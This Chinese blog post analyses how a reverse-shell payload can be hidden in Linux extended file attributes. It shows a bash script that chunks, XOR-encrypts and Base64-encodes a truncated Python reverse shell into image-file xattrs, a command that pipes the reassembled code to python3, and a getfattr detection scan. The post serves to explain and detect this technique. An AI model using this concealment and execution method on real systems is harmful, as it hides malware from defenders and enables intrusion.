Featured image of post 利用Linux扩展文件属性隐藏恶意负载的技术分析

利用Linux扩展文件属性隐藏恶意负载的技术分析

本文详细介绍了如何利用Linux扩展文件属性(xattr)隐藏Python反向Shell代码的技术实现,包括分块存储、XOR加密和Base64编码等混淆技术,并提供了对应的检测方法。

在Linux扩展文件属性中隐藏负载

技术背景

在Linux生态系统中,大多数文件系统(ext3/ext4/xfs等)都支持"扩展文件属性"(xattr)。这是一种允许用户为文件添加元数据的文件系统特性,类似于Windows NTFS文件系统中的备用数据流(ADS)功能。

技术实现

属性操作基础

在Ubuntu系统中,可以通过attr软件包提供的工具进行操作:

1
2
setfattr -n user.note -v "Hello ISC!" sample.txt
getfattr -d -n "user.note" sample.txt

恶意负载隐藏方案

作者开发了一个PoC,通过以下步骤在xattr中隐藏Python反向Shell代码:

  1. 将负载分割为32字节的块
  2. 使用0xFB作为密钥进行XOR加密
  3. Base64编码后存入多个图片文件的xattr

编码脚本关键部分:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
#!/bin/bash
PAYLOAD='import socket,subprocess,os;s=socket.socket...'
CHUNK_SIZE=32

# 分块处理
while [ $((i * CHUNK_SIZE)) -lt ${#PAYLOAD} ]; do
  CHUNK=${PAYLOAD:$((i * CHUNK_SIZE)):CHUNK_SIZE}
  # XOR加密+Base64编码
  echo -n $CHUNK | python3 -c "import sys...bytes([b ^ 0xFB for b...])" | base64 -w0
  # 存入xattr
  setfattr -n user.payload -v "$encoded_chunk" picture-$idx.png
done

负载提取与执行

作者用C语言编写了提取程序,可以:

  1. 从多个文件中提取xattr
  2. Base64解码
  3. XOR解密
  4. 拼接还原原始Python代码

执行效果:

1
./poc picture-*.png | python3

防御检测

使用getfattr命令递归扫描系统:

1
getfattr -Rd -m- . | grep "^# file:" | cut -d ":" -f2

技术要点总结

  1. xattr支持四种命名空间:security、system、trusted和user
  2. 系统本身大量使用xattr存储POSIX ACL等信息
  3. 攻击者可利用此特性实现高度隐蔽的负载存储
  4. 防御者需要建立针对非常规属性存储的检测机制

参考资源:

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计